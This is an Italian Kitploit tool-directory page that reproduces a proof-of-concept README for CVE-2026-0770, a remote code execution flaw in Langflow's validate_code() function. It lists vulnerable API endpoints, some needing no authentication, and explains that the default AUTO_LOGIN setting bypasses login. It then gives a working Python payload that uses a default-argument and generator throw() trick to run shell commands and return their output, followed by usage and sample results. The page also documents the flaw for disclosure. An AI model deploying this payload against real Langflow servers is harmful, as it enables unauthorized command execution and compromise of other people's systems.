Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0770-PoC — Proof of Concept per CVE-2026-0770 - Esecuzione di codice remoto in Langflow | Kitploit
Strumenti/GitHubGitHub/affix/cve-2026-0770-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingTrojan di Accesso Remoto
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

Proof of Concept per CVE-2026-0770 - Esecuzione di codice remoto in Langflow

Vedi Repository
616 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-0770 - Esecuzione di codice remoto in Langflow

Riepilogo

Langflow contiene una vulnerabilità critica di esecuzione di codice remoto nella funzione validate_code() situata in src/lfx/src/lfx/custom/validate.py. La funzione utilizza exec() per eseguire codice Python fornito dall'utente senza sandboxing, consentendo l'esecuzione arbitraria di comandi sul server.

Versioni interessate

  • Ultima versione di Langflow (al 7 febbraio 2026)

Altre CVE

Vulnerabilità simili sono state identificate in funzioni ed endpoint correlati:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

Dettagli della vulnerabilità

La funzione validate_code() analizza il codice fornito dall'utente ed esegue le definizioni di funzioni utilizzando exec():

root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- Esecuzione di codice arbitrario

Il contesto exec_globals include l'accesso a importlib e ai builtin di Python, consentendo agli aggressori di importare moduli pericolosi (os, subprocess, socket) ed eseguire comandi di sistema arbitrari.

Endpoint vulnerabili

EndpointAutenticazioneVettore di attacco
POST /api/v1/validate/codeRichiesta*Invio diretto di codice
POST /api/v1/custom_componentRichiesta*Codice nella definizione del componente
POST /api/v1/custom_component/updateRichiesta*Codice nell'aggiornamento del componente
POST /api/v1/webhook/{flow_id}NessunaFlusso con componenti di codice
POST /api/v1/build_public_tmp/{flow_id}/flowNessunaEsecuzione di flusso pubblico

* L'autenticazione può essere aggirata quando AUTO_LOGIN=true (configurazione predefinita)

Altre funzioni vulnerabili

Anche le seguenti funzioni in validate.py utilizzano exec() in modo non sicuro:

FunzioneRigaDescrizione
validate_code()66Valida il codice utente
eval_function()140Valuta stringhe di funzioni
execute_function()182Esegue funzioni arbitrarie
create_function()227Crea funzioni dal codice
create_class()241-442Crea classi tramite prepare_global_scope() e build_class_constructor()

Sfruttamento

Il trucco del generatore con throw()

La funzione validate_code() esegue solo le definizioni di funzioni, non le chiamate. Per ottenere l'esecuzione di codice con esfiltrazione dell'output, sfruttiamo l'ordine di valutazione di Python per gli argomenti predefiniti.

Concetto chiave: Le espressioni degli argomenti predefiniti vengono valutate al momento della definizione della funzione, non quando la funzione viene chiamata.

root@kitploit:~
def foo(x=print("I execute immediately")):
    pass

Tuttavia, dobbiamo esfiltrare l'output attraverso la risposta HTTP. L'endpoint restituisce gli errori nel corpo della risposta, quindi dobbiamo sollevare un'eccezione contenente il nostro output.

Problema: raise è un'istruzione, non un'espressione, quindi non può essere usato direttamente in un argomento predefinito.

Soluzione: Utilizzare il metodo .throw() di un generatore, che solleva un'eccezione ed È un'espressione:

root@kitploit:~
(_ for _ in ()).throw(Exception("output here"))

Questo crea un generatore vuoto e solleva immediatamente un'eccezione. Combinato con una lambda per catturare l'output del comando:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

Flusso di esecuzione:

  1. exec() esegue la definizione della funzione
  2. L'argomento predefinito _=... viene valutato immediatamente
  3. subprocess.run() esegue il comando
  4. La lambda riceve il risultato e chiama il metodo .throw() del generatore
  5. Viene sollevata un'eccezione con l'output del comando
  6. validate_code() la cattura e restituisce l'errore nella risposta

Utilizzo

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

Opzioni

FlagDescrizione
-t, --targetURL del target (obbligatorio)
-c, --commandComando da eseguire (predefinito: id && whoami)
-k, --tokenToken JWT (opzionale, utilizza l'auto-login per impostazione predefinita)

Esempio di output (dal container Docker langflowai/langflow:latest - 7 febbraio 2026)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Tentativo di auto-login (configurazione predefinita)...
[+] Auto-login riuscito!
[*] Esecuzione di: id && whoami && hostname
[+] Stato: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

Riferimenti

  • GitHub di Langflow: https://github.com/langflow-ai/langflow
  • File vulnerabile: src/lfx/src/lfx/custom/validate.py
Scarica lo strumento